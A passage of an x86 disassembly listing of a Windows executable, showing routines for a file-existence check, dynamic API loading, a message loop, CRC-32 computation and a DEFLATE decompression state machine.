		cmp	al, 5Ch
		jnz	short loc_405CAA


loc_405CA3:				; CODE XREF: sub_405C17+86j
		and	byte ptr [edi],	0
		cmp	ebx, edi
		jb	short loc_405C8F


loc_405CAA:				; CODE XREF: sub_405C17+8Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_405C17	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CB0	proc near		; CODE XREF: sub_401439+228p
					; sub_401439+2A7p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ds:dword_407104
		push	edi
		push	8001h
		call	esi	; SetErrorMode
		mov	edi, offset dword_42C8F0
		push	edi
		push	[esp+10h+arg_0]
		call	ds:dword_40713C	; FindFirstFileA
		push	0
		mov	ebx, eax
		call	esi	; SetErrorMode
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405CE6
		push	ebx
		call	ds:dword_407134	; FindClose
		mov	eax, edi
		jmp	short loc_405CE8
; ---------------------------------------------------------------------------


loc_405CE6:				; CODE XREF: sub_405CB0+29j
		xor	eax, eax


loc_405CE8:				; CODE XREF: sub_405CB0+34j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_405CB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CEE	proc near		; CODE XREF: start+31Cp start+329p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		call	ds:dword_407108	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_405D0A
		push	[esp+arg_0]
		call	ds:dword_40710C	; LoadLibraryA
		test	eax, eax
		jz	short locret_405D15


loc_405D0A:				; CODE XREF: sub_405CEE+Cj
		push	[esp+arg_4]
		push	eax
		call	ds:dword_407110	; GetProcAddress

locret_405D15:				; CODE XREF: sub_405CEE+1Aj
		retn	8
sub_405CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D18	proc near		; CODE XREF: sub_401E9C+35p
					; sub_402C37+141p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, ds:dword_4071D8
		jmp	short loc_405D35
; ---------------------------------------------------------------------------


loc_405D2B:				; CODE XREF: sub_405D18+2Bj
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4071D4	; DispatchMessageA


loc_405D35:				; CODE XREF: sub_405D18+11j
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_1C]
		push	0
		push	eax
		call	edi	; PeekMessageA
		test	eax, eax
		jnz	short loc_405D2B
		pop	edi
		pop	esi
		leave
		retn	4
sub_405D18	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D4B	proc near		; CODE XREF: sub_402C37+180p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	dword_42CE34, 0
		push	esi
		jnz	short loc_405D82
		xor	ecx, ecx


loc_405D57:				; CODE XREF: sub_405D4B+35j
		push	8
		mov	eax, ecx
		pop	esi


loc_405D5C:				; CODE XREF: sub_405D4B+25j
		mov	edx, eax
		and	dl, 1
		neg	dl
		sbb	edx, edx
		and	edx, 0EDB88320h
		shr	eax, 1
		xor	eax, edx
		dec	esi
		jnz	short loc_405D5C
		mov	dword_42CE30[ecx*4], eax
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_405D57


loc_405D82:				; CODE XREF: sub_405D4B+8j
		mov	edx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		test	edx, edx
		not	eax
		jbe	short loc_405DB3
		mov	ecx, [esp+4+arg_4]
		push	edi


loc_405D95:				; CODE XREF: sub_405D4B+65j
		movzx	edi, byte ptr [ecx]
		mov	esi, eax
		and	esi, 0FFh
		xor	esi, edi
		shr	eax, 8
		mov	esi, dword_42CE30[esi*4]
		xor	eax, esi
		inc	ecx
		dec	edx
		jnz	short loc_405D95
		pop	edi


loc_405DB3:				; CODE XREF: sub_405D4B+43j
		not	eax
		pop	esi
		retn	0Ch
sub_405D4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DB9	proc near		; CODE XREF: sub_402EBD+F6p

var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax]
		lea	esi, [eax+10h]
		mov	eax, [eax+4]
		mov	[ebp+var_38], ecx
		mov	ecx, [esi+9BA8h]
		mov	ebx, [esi+518h]
		mov	[ebp+var_34], eax
		mov	eax, [esi+51Ch]
		mov	[ebp+var_40], eax
		mov	eax, [esi+9BA4h]
		cmp	ecx, eax
		mov	[ebp+var_30], ecx
		jnb	short loc_405DFA
		sub	eax, ecx
		dec	eax
		jmp	short loc_405E02
; ---------------------------------------------------------------------------


loc_405DFA:				; CODE XREF: sub_405DB9+3Aj
		mov	eax, [esi+9BA0h]
		sub	eax, ecx


loc_405E02:				; CODE XREF: sub_405DB9+3Fj
		mov	[ebp+var_2C], eax
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_405E0A:				; CODE XREF: sub_405DB9+A19j
		jmp	ds:off_406808[eax*4]
; ---------------------------------------------------------------------------


loc_405E11:				; CODE XREF: sub_405DB9+7Bj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8


loc_405E31:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406828o
		cmp	ebx, 3
		jb	short loc_405E11
		mov	eax, [ebp+var_40]
		sub	ebx, 3
		shr	[ebp+var_40], 3
		and	eax, 7
		mov	ecx, eax
		and	cl, 1
		neg	cl
		sbb	ecx, ecx
		and	ecx, 7
		shr	eax, 1
		add	ecx, 8
		sub	eax, 0
		mov	[esi+514h], ecx
		jz	loc_405F91
		dec	eax
		jz	short loc_405EBC
		dec	eax
		jz	short loc_405EB1
		dec	eax
		jnz	loc_4067CD


loc_405E70:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; sub_405DB9+358j ...
		or	edi, 0FFFFFFFFh
		mov	dword ptr [esi], 11h


loc_405E79:				; CODE XREF: sub_405DB9+A42j
					; sub_405DB9+A4Aj
		mov	eax, [ebp+var_40]
		mov	ecx, [ebp+arg_0]
		mov	[esi+51Ch], eax
		mov	eax, [ebp+var_34]
		mov	[esi+518h], ebx
		mov	[ecx+4], eax


loc_405E91:				; CODE XREF: sub_405DB9+A3Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_38]
		push	eax
		mov	[eax], ecx
		mov	ecx, [ebp+var_30]
		mov	[esi+9BA8h], ecx
		call	sub_406848
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_405EB1:				; CODE XREF: sub_405DB9+AEj
		mov	dword ptr [esi], 0Bh
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_405EBC:				; CODE XREF: sub_405DB9+ABj
		cmp	byte_42E3B8, 0
		jnz	loc_405F69
		and	[ebp+var_8], 0
		mov	eax, offset dword_42D238


loc_405ED2:				; CODE XREF: sub_405DB9+143j
		cmp	eax, offset dword_42D474
		mov	cl, 8
		jle	short loc_405EEF
		cmp	eax, offset dword_42D638
		jge	short loc_405EE6
		inc	cl
		jmp	short loc_405EEF
; ---------------------------------------------------------------------------


loc_405EE6:				; CODE XREF: sub_405DB9+127j
		cmp	eax, offset dword_42D698
		jge	short loc_405EEF
		mov	cl, 7


loc_405EEF:				; CODE XREF: sub_405DB9+120j
					; sub_405DB9+12Bj ...
		movsx	ecx, cl
		mov	[eax], ecx
		add	eax, 4
		cmp	eax, offset dword_42D6B8
		jl	short loc_405ED2
		lea	eax, [ebp+var_8]
		mov	edi, offset dword_42D238
		push	eax
		push	offset dword_42DB38
		push	offset byte_4093F8
		push	offset dword_42D234
		push	offset dword_407368
		push	offset dword_407328
		push	101h
		push	120h
		push	edi
		call	sub_4068B0
		push	1Eh
		pop	ecx
		push	5
		pop	eax
		rep stosd
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_42DB38
		push	offset byte_4093FC
		push	offset dword_42D230
		push	offset dword_4073E4
		push	offset dword_4073A8
		push	0
		push	1Eh
		push	offset dword_42D238
		call	sub_4068B0
		inc	byte_42E3B8


loc_405F69:				; CODE XREF: sub_405DB9+10Aj
		mov	al, byte_4093F8
		mov	[esi+10h], al
		mov	al, byte_4093FC
		mov	[esi+11h], al
		mov	eax, dword_42D234
		mov	[esi+14h], eax
		mov	eax, dword_42D230
		mov	[esi+18h], eax


loc_405F89:				; CODE XREF: sub_405DB9+83Aj
					; sub_405DB9+909j ...
		and	dword ptr [esi], 0
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_405F91:				; CODE XREF: sub_405DB9+A4j
		mov	ecx, ebx
		mov	dword ptr [esi], 9
		and	ecx, 7
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_405FA6:				; CODE XREF: sub_405DB9+210j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8


loc_405FC6:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:0040682Co
		cmp	ebx, 10h
		jb	short loc_405FA6
		mov	eax, [ebp+var_40]
		xor	ebx, ebx
		and	eax, 0FFFFh
		mov	[ebp+var_40], ebx
		cmp	eax, ebx
		mov	[esi+4], eax
		jz	loc_4060CC
		push	0Ah
		pop	eax
		jmp	loc_4060D2
; ---------------------------------------------------------------------------


loc_405FEB:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406830o
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_2C]
		test	eax, eax
		jnz	loc_406098
		mov	ecx, [esi+9BA0h]


loc_406006:				; DATA XREF: .data:0040E598o
					; .data:0041A5F0o
		mov	edx, [ebp+var_30]
		cmp	edx, ecx
		jnz	short loc_406036
		mov	eax, [esi+9BA4h]
		lea	edi, [esi+1BA0h]
		cmp	eax, edi


loc_40601B:				; DATA XREF: .data:0040E7E0o
					; .data:0041A838o
		jz	short loc_406036
		mov	edx, edi
		cmp	edx, eax
		mov	[ebp+var_30], edx
		jnb	short loc_40602B
		sub	eax, edx
		dec	eax
		jmp	short loc_40602F
; ---------------------------------------------------------------------------


loc_40602B:				; CODE XREF: sub_405DB9+26Bj
					; DATA XREF: .data:0040E7D0o ...
		sub	ecx, edx
		mov	eax, ecx


loc_40602F:				; CODE XREF: sub_405DB9+270j
		test	eax, eax
		mov	[ebp+var_2C], eax
		jnz	short loc_406098


loc_406036:				; CODE XREF: sub_405DB9+252j
					; sub_405DB9:loc_40601Bj
		push	[ebp+arg_0]
		mov	[esi+9BA8h], edx
		call	sub_406848
		mov	edx, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	edx, ecx
		mov	[ebp+var_30], edx
		jnb	short loc_40605E
		mov	eax, ecx
		sub	eax, edx
		dec	eax
		jmp	short loc_406066
; ---------------------------------------------------------------------------


loc_40605E:				; CODE XREF: sub_405DB9+29Cj
		mov	eax, [esi+9BA0h]
		sub	eax, edx


loc_406066:				; CODE XREF: sub_405DB9+2A3j
		mov	edi, [esi+9BA0h]
		mov	[ebp+var_2C], eax
		cmp	edx, edi
		jnz	short loc_406090
		lea	edx, [esi+1BA0h]
		cmp	edx, ecx
		jz	short loc_406090
		mov	[ebp+var_30], edx
		jnb	short loc_406089
		sub	ecx, edx
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40608D
; ---------------------------------------------------------------------------


loc_406089:				; CODE XREF: sub_405DB9+2C7j
		sub	edi, edx
		mov	eax, edi


loc_40608D:				; CODE XREF: sub_405DB9+2CEj
		mov	[ebp+var_2C], eax


loc_406090:				; CODE XREF: sub_405DB9+2B8j
					; sub_405DB9+2C2j
		test	eax, eax
		jz	loc_4067F9


loc_406098:				; CODE XREF: sub_405DB9+241j
					; sub_405DB9+27Bj
		cmp	eax, [ebp+var_34]
		jb	short loc_4060A0
		mov	eax, [ebp+var_34]


loc_4060A0:				; CODE XREF: sub_405DB9+2E2j
		mov	ecx, [esi+4]
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_4060AB
		mov	edi, eax


loc_4060AB:				; CODE XREF: sub_405DB9+2EEj
		push	edi
		push	[ebp+var_38]
		push	[ebp+var_30]
		call	sub_40568C
		add	[ebp+var_38], edi
		sub	[ebp+var_34], edi
		add	[ebp+var_30], edi
		sub	[ebp+var_2C], edi
		sub	[esi+4], edi
		jnz	loc_4067CD


loc_4060CC:				; CODE XREF: sub_405DB9+224j
		mov	eax, [esi+514h]


loc_4060D2:				; CODE XREF: sub_405DB9+22Dj
		mov	[esi], eax
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_4060D9:				; CODE XREF: sub_405DB9+343j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8


loc_4060F9:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406834o
		cmp	ebx, 0Eh
		jb	short loc_4060D9
		mov	eax, [ebp+var_40]
		and	eax, 3FFFh
		mov	ecx, eax
		mov	[esi+4], eax
		and	ecx, 1Fh
		cmp	cl, 1Dh
		ja	loc_405E70
		and	eax, 3E0h
		cmp	eax, 3A0h
		ja	loc_405E70
		shr	[ebp+var_40], 0Eh
		sub	ebx, 0Eh
		and	dword ptr [esi+8], 0
		mov	dword ptr [esi], 0Ch


loc_406138:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406838o
		mov	eax, [esi+4]
		shr	eax, 0Ah
		add	eax, 4
		cmp	[esi+8], eax
		jnb	short loc_4061AF
		jmp	short loc_406168
; ---------------------------------------------------------------------------


loc_406148:				; CODE XREF: sub_405DB9+3B2j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	eax, [ebp+var_38]
		dec	[ebp+var_34]
		mov	ecx, ebx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+var_40], eax
		inc	[ebp+var_38]
		add	ebx, 8


loc_406168:				; CODE XREF: sub_405DB9+38Dj
					; sub_405DB9+3E0j
		cmp	ebx, 3
		jb	short loc_406148
		mov	ecx, [esi+8]
		mov	eax, [ebp+var_40]
		and	eax, 7
		sub	ebx, 3
		movsx	ecx, ds:byte_407314[ecx]
		shr	[ebp+var_40], 3
		mov	[esi+ecx*4+0Ch], eax
		mov	ecx, [esi+4]
		inc	dword ptr [esi+8]
		mov	eax, [esi+8]
		shr	ecx, 0Ah
		add	ecx, 4
		cmp	eax, ecx
		jb	short loc_406168
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_405DB9+3FAj
		mov	eax, [esi+8]
		movsx	eax, ds:byte_407314[eax]
		and	dword ptr [esi+eax*4+0Ch], 0
		inc	dword ptr [esi+8]


loc_4061AF:				; CODE XREF: sub_405DB9+38Bj
					; sub_405DB9+3E2j
		cmp	dword ptr [esi+8], 13h
		jb	short loc_40619D
		lea	ecx, [ebp+var_8]
		lea	edi, [esi+50Ch]
		push	ecx
		lea	ecx, [esi+520h]
		push	ecx
		lea	ecx, [esi+510h]
		xor	eax, eax
		push	edi
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		push	eax
		push	13h
		lea	eax, [esi+0Ch]
		push	13h
		push	eax
		mov	dword ptr [edi], 7
		call	sub_4068B0
		test	eax, eax
		jnz	short loc_4061FE
		cmp	[edi], eax
		jz	short loc_4061FE
		and	[esi+8], eax
		mov	dword ptr [esi], 0Dh
		jmp	loc_40631B
; ---------------------------------------------------------------------------


loc_4061FE:				; CODE XREF: sub_405DB9+431j
					; sub_405DB9+435j
		mov	dword ptr [esi], 11h
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_406209:				; CODE XREF: sub_405DB9+57Cj
		mov	eax, [esi+50Ch]
		jmp	short loc_406231
; ---------------------------------------------------------------------------


loc_406211:				; CODE XREF: sub_405DB9+47Aj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8


loc_406231:				; CODE XREF: sub_405DB9+456j
		cmp	ebx, eax
		jb	short loc_406211
		movzx	eax, word_4093D4[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+510h]
		lea	eax, [ecx+eax*4]
		movzx	edx, byte ptr [eax+1]
		movzx	eax, word ptr [eax+2]
		cmp	eax, 10h
		mov	[ebp+var_14], eax
		jnb	short loc_40626F
		mov	ecx, edx
		sub	ebx, edx
		shr	[ebp+var_40], cl
		mov	ecx, [esi+8]
		mov	[esi+ecx*4+0Ch], eax
		inc	dword ptr [esi+8]
		jmp	loc_40631B
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_405DB9+49Ej
		cmp	eax, 12h
		jnz	short loc_406280
		push	7
		mov	[ebp+var_8], 0Bh
		pop	eax
		jmp	short loc_4062AC
; ---------------------------------------------------------------------------


loc_406280:				; CODE XREF: sub_405DB9+4B9j
		add	eax, 0FFFFFFF2h
		mov	[ebp+var_8], 3
		jmp	short loc_4062AC
; ---------------------------------------------------------------------------


loc_40628C:				; CODE XREF: sub_405DB9+4F8j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edi, byte ptr [ecx]
		mov	ecx, ebx
		shl	edi, cl
		or	[ebp+var_40], edi
		inc	[ebp+var_38]
		add	ebx, 8


loc_4062AC:				; CODE XREF: sub_405DB9+4C5j
					; sub_405DB9+4D1j
		lea	ecx, [eax+edx]
		cmp	ebx, ecx
		jb	short loc_40628C
		mov	ecx, edx
		sub	ebx, edx
		shr	[ebp+var_40], cl
		movzx	ecx, word_4093D4[eax*2]
		and	ecx, [ebp+var_40]
		mov	edx, [ebp+var_8]
		sub	ebx, eax
		add	edx, ecx
		mov	ecx, eax
		mov	eax, [esi+4]
		shr	[ebp+var_40], cl


loc_4062D4:				; DATA XREF: .data:0040E9C8o
					; .data:0041AA20o
		mov	ecx, [esi+8]


loc_4062D7:				; DATA XREF: .data:0040FA20o
					; .data:0041BA78o
		mov	edi, eax
		shr	edi, 5


loc_4062DC:				; DATA XREF: .data:0040FA2Co
					; .data:0041BA84o
		and	edi, 1Fh
		and	eax, 1Fh
		lea	eax, [edi+eax+102h]
		lea	edi, [edx+ecx]
		cmp	edi, eax
		ja	loc_405E70
		cmp	[ebp+var_14], 10h
		jnz	short loc_406309
		cmp	ecx, 1
		jb	loc_405E70
		mov	edi, [esi+ecx*4+8]
		jmp	short loc_40630B
; ---------------------------------------------------------------------------


loc_406309:				; CODE XREF: sub_405DB9+53Fj
		xor	edi, edi


loc_40630B:				; CODE XREF: sub_405DB9+54Ej
		lea	eax, [esi+ecx*4+0Ch]


loc_40630F:				; CODE XREF: sub_405DB9+55Dj
		mov	[eax], edi
		inc	ecx
		add	eax, 4
		dec	edx
		jnz	short loc_40630F
		mov	[esi+8], ecx


loc_40631B:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; sub_405DB9+440j ...
		mov	eax, [esi+4]
		mov	ecx, [esi+8]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		cmp	ecx, eax
		jb	loc_406209
		mov	eax, [esi+4]
		and	dword ptr [esi+510h], 0
		and	[ebp+var_C], 0
		mov	edi, eax
		shr	eax, 5
		and	edi, 1Fh
		mov	ecx, 101h
		and	eax, 1Fh
		add	edi, ecx
		inc	eax
		lea	edx, [ebp+var_C]
		mov	[ebp+var_14], eax
		lea	eax, [esi+520h]
		push	edx
		push	eax
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 9
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_407368
		push	offset dword_407328
		push	ecx
		lea	eax, [esi+0Ch]
		push	edi
		push	eax
		mov	[ebp+var_10], 6
		call	sub_4068B0
		cmp	[ebp+var_4], 0
		jnz	short loc_40639E
		or	eax, 0FFFFFFFFh


loc_40639E:				; CODE XREF: sub_405DB9+5E0j
		test	eax, eax
		jnz	loc_405E70
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [esi+520h]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_4073E4
		push	offset dword_4073A8
		push	0
		push	[ebp+var_14]
		lea	eax, [esi+edi*4+0Ch]
		push	eax
		call	sub_4068B0
		test	eax, eax
		jnz	loc_405E70
		mov	eax, [ebp+var_10]
		test	eax, eax
		jnz	short loc_4063ED
		cmp	edi, 101h
		jg	loc_405E70


loc_4063ED:				; CODE XREF: sub_405DB9+626j
		mov	cl, byte ptr [ebp+var_4]
		and	dword ptr [esi], 0
		mov	[esi+11h], al
		mov	eax, [ebp+var_18]
		mov	[esi+14h], eax
		mov	eax, [ebp+var_1C]
		mov	[esi+10h], cl
		mov	[esi+18h], eax


loc_406405:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:off_406808o
		movzx	eax, byte ptr [esi+10h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+14h]
		mov	[esi+8], eax
		mov	dword ptr [esi], 1


loc_406418:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:0040680Co
		mov	eax, [esi+0Ch]
		jmp	short loc_40643D
; ---------------------------------------------------------------------------


loc_40641D:				; CODE XREF: sub_405DB9+686j
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8


loc_40643D:				; CODE XREF: sub_405DB9+662j
		cmp	ebx, eax
		jb	short loc_40641D
		movzx	eax, word_4093D4[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+8]
		lea	eax, [ecx+eax*4]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		movzx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_406474
		movzx	eax, word ptr [eax+2]
		mov	[esi+8], eax
		mov	dword ptr [esi], 6
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_406474:				; CODE XREF: sub_405DB9+6A7j
		test	cl, 10h
		jz	short loc_406491
		and	ecx, 0Fh
		mov	[esi+8], ecx
		movzx	eax, word ptr [eax+2]
		mov	[esi+4], eax
		mov	dword ptr [esi], 2
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_406491:				; CODE XREF: sub_405DB9+6BEj
		test	cl, 40h
		jz	loc_40656B
		test	cl, 20h
		jz	loc_405E70
		mov	dword ptr [esi], 7
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_4064AE:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406810o
		mov	eax, [esi+8]
		jmp	short loc_4064D3
; ---------------------------------------------------------------------------


loc_4064B3:				; CODE XREF: sub_405DB9+71Cj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8


loc_4064D3:				; CODE XREF: sub_405DB9+6F8j
		cmp	ebx, eax
		jb	short loc_4064B3
		movzx	ecx, word_4093D4[eax*2]
		and	ecx, [ebp+var_40]
		add	[esi+4], ecx
		mov	ecx, eax
		shr	[ebp+var_40], cl
		sub	ebx, eax
		movzx	eax, byte ptr [esi+11h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+18h]
		mov	[esi+8], eax
		mov	dword ptr [esi], 3


loc_4064FF:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406814o
		mov	eax, [esi+0Ch]
		jmp	short loc_406524
; ---------------------------------------------------------------------------


loc_406504:				; CODE XREF: sub_405DB9+76Dj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8


loc_406524:				; CODE XREF: sub_405DB9+749j
		cmp	ebx, eax
		jb	short loc_406504
		movzx	eax, word_4093D4[eax*2]
		and	eax, [ebp+var_40]
		mov	ecx, [esi+8]
		lea	eax, [ecx+eax*4]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+var_40], cl
		sub	ebx, ecx
		movzx	ecx, byte ptr [eax]
		test	cl, 10h
		jz	short loc_406562
		and	ecx, 0Fh
		mov	[esi+8], ecx
		movzx	eax, word ptr [eax+2]
		mov	[esi+0Ch], eax
		mov	dword ptr [esi], 4
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_406562:				; CODE XREF: sub_405DB9+78Fj
		test	cl, 40h
		jnz	loc_405E70


loc_40656B:				; CODE XREF: sub_405DB9+6DBj
		mov	[esi+0Ch], ecx
		movzx	ecx, word ptr [eax+2]
		lea	eax, [eax+ecx*4]
		mov	[esi+8], eax
		jmp	loc_4067CD
; ---------------------------------------------------------------------------


loc_40657D:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406818o
		mov	eax, [esi+8]
		jmp	short loc_4065A2
; ---------------------------------------------------------------------------


loc_406582:				; CODE XREF: sub_405DB9+7EBj
		cmp	[ebp+var_34], 0
		jz	loc_4067DD
		mov	ecx, [ebp+var_38]
		dec	[ebp+var_34]
		movzx	edx, byte ptr [ecx]
		mov	ecx, ebx
		shl	edx, cl
		or	[ebp+var_40], edx
		inc	[ebp+var_38]
		add	ebx, 8


loc_4065A2:				; CODE XREF: sub_405DB9+7C7j
		cmp	ebx, eax
		jb	short loc_406582
		movzx	ecx, word_4093D4[eax*2]
		and	ecx, [ebp+var_40]
		add	[esi+0Ch], ecx
		mov	ecx, eax
		shr	[ebp+var_40], cl
		sub	ebx, eax
		mov	dword ptr [esi], 5


loc_4065C1:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:0040681Co
		mov	eax, [ebp+var_30]
		mov	edx, [esi+0Ch]
		mov	ecx, eax
		sub	ecx, esi
		sub	ecx, 1BA0h
		cmp	ecx, edx
		jnb	short loc_4065E8
		mov	ecx, [esi+9BA0h]
		sub	ecx, edx
		sub	ecx, esi
		lea	ecx, [ecx+eax-1BA0h]
		jmp	short loc_4065EC
; ---------------------------------------------------------------------------


loc_4065E8:				; CODE XREF: sub_405DB9+81Aj
		mov	ecx, eax
		sub	ecx, edx


loc_4065EC:				; CODE XREF: sub_405DB9+82Dj
		cmp	dword ptr [esi+4], 0
		mov	[ebp+var_20], ecx
		jz	loc_405F89
		mov	edi, [ebp+var_2C]


loc_4065FC:				; CODE XREF: sub_405DB9+903j
		test	edi, edi
		jnz	loc_406695
		mov	edi, [esi+9BA0h]
		cmp	eax, edi
		jnz	short loc_406631
		mov	ecx, [esi+9BA4h]
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_406631
		mov	eax, edx
		cmp	eax, ecx
		jnb	short loc_40662B
		sub	ecx, eax
		dec	ecx
		mov	edi, ecx
		jmp	short loc_40662D
; ---------------------------------------------------------------------------


loc_40662B:				; CODE XREF: sub_405DB9+869j
		sub	edi, eax


loc_40662D:				; CODE XREF: sub_405DB9+870j
		test	edi, edi
		jnz	short loc_406695


loc_406631:				; CODE XREF: sub_405DB9+853j
					; sub_405DB9+863j
		push	[ebp+arg_0]
		mov	[esi+9BA8h], eax
		call	sub_406848
		mov	eax, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	eax, ecx
		mov	[ebp+var_30], eax
		jnb	short loc_406659
		mov	edi, ecx
		sub	edi, eax
		dec	edi
		jmp	short loc_406661
; ---------------------------------------------------------------------------


loc_406659:				; CODE XREF: sub_405DB9+897j
		mov	edi, [esi+9BA0h]
		sub	edi, eax


loc_406661:				; CODE XREF: sub_405DB9+89Ej
		mov	edx, [esi+9BA0h]
		cmp	eax, edx
		mov	[ebp+var_8], edx
		jnz	short loc_40668D
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_40668D
		mov	eax, edx
		cmp	eax, ecx
		mov	[ebp+var_30], eax
